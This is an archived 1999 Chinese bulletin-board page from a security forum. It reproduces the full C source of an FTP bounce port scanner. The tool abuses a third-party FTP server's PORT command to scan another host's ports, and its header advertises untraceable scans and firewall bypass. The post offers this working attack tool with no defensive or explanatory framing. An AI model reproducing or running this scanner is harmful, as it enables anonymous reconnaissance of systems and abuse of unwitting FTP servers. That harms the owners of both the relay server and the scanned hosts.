📄 407.htm
字号:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center"> ● UNIX网络编程 (BM: clown) </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="316.htm">上一层</a>][<a href="408.htm">下一篇</a>]
<hr><p align="left"><small>发信人: biff (大可), 信区: Security <br>
标 题: ftp scan <br>
发信站: 武汉白云黄鹤站 (Wed Jun 2 17:20:37 1999), 站内信件 <br>
<br>
/* <br>
* FTP Scan (C) 1996 Kit Knox <kit@connectnet.com> <br>
* <br>
* Exploits bug in FTP protocol that allows user to connect to arbritary <br>
* IP address and port. <br>
* <br>
* Features: Untraceable port scans. Bypass firewalls! <br>
* <br>
* Example usage: <br>
* <br>
* ftp-scan ftp.cdrom.com 127.0.0.1 0 1024 <br>
* <br>
* This will scan IP 127.0.0.1 from ftp.cdrom.com from port 0 to 1024 <br>
* <br>
*/ <br>
<br>
#include <stdio.h> <br>
#include <stdlib.h> <br>
#include <sys/param.h> <br>
#include <sys/socket.h> <br>
#include <netinet/in.h> <br>
#include <netdb.h> <br>
#include <stdarg.h> <br>
<br>
int sock; <br>
char line[1024]; <br>
<br>
void rconnect(char *server) <br>
{ <br>
struct sockaddr_in sin; <br>
struct hostent *hp; <br>
<br>
hp = gethostbyname(server); <br>
if (hp==NULL) { <br>
printf("Unknown host: %s\n",server); <br>
exit(0); <br>
} <br>
bzero((char*) &sin, sizeof(sin)); <br>
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); <br>
sin.sin_family = hp->h_addrtype; <br>
sin.sin_port = htons(21); <br>
sock = socket(AF_INET, SOCK_STREAM, 0); <br>
connect(sock,(struct sockaddr *) &sin, sizeof(sin)); <br>
} <br>
<br>
void login(void) <br>
{ <br>
char buf[1024]; <br>
<br>
sprintf(buf,"USER ftp\n"); <br>
send(sock, buf, strlen(buf),0); <br>
sleep(1); <br>
sprintf(buf,"PASS user@\n"); <br>
send(sock, buf, strlen(buf),0); <br>
} <br>
<br>
void readln(void) <br>
{ <br>
int i,done=0,w; <br>
char tmp[1]; <br>
<br>
sprintf(line,""); <br>
i = 0; <br>
i = 0; <br>
while (!done) { <br>
w=read(sock,tmp, 1, 0); <br>
if (tmp[0] != 0) { <br>
line[i] = tmp[0]; <br>
} <br>
if (line[i] == '\n') { <br>
done = 1; <br>
} <br>
i++; <br>
} <br>
line[i] = 0; <br>
} <br>
<br>
void sendln(char s[1024]) { <br>
send(sock, s, strlen(s),0); <br>
} <br>
<br>
#define UC(b) (((int)b)&0xff) <br>
<br>
void main(int argc, char **argv) <br>
{ <br>
char buf[1024]; <br>
int i; <br>
u_short sport,eport; <br>
register char *p,*a; <br>
struct hostent *hp; <br>
struct sockaddr_in sin; <br>
char adr[1024]; <br>
<br>
if (argc != 5) { <br>
printf("usage: ftp-scan ftp_server scan_host loport hiport\n"); <br>
exit(-1); <br>
} <br>
<br>
hp = gethostbyname(argv[2]); <br>
if (hp==NULL) { <br>
printf("Unknown host: %s\n",argv[2]); <br>
exit(0); <br>
} <br>
bzero((char*) &sin, sizeof(sin)); <br>
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); <br>
<br>
rconnect(argv[1]); <br>
/* Login anon to server */ <br>
login(); <br>
/* Make sure we are in */ <br>
for (i=0; i<200; i++) { <br>
readln(); <br>
if (strstr(line,"230 Guest")) { <br>
printf("%s",line); <br>
i = 200; <br>
} <br>
} <br>
a=(char *)&sin.sin_addr; <br>
sport = atoi(argv[3]); <br>
eport = atoi(argv[4]); <br>
sprintf(adr,"%i,%i,%i,%i",UC(a[0]),UC(a[1]),UC(a[2]),UC(a[3])); <br>
for (i=sport; i<eport; i++) { <br>
sin.sin_port = htons(i); <br>
p=(char *)&sin.sin_port; <br>
sprintf(buf,"\nPORT %s,%i,%i\nLIST\n",adr,UC(p[0]),UC(p[1])); <br>
sendln(buf); <br>
sprintf(line,""); <br>
while (!strstr(line, "150") && !strstr(line,"425")) { <br>
readln(); <br>
} <br>
if (strstr(line,"150")) { <br>
printf("%i connected.\n",i); <br>
} <br>
} <br>
close(sock); <br>
} <br>
<br>
-- <br>
</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="316.htm">上一层</a>][<a href="408.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -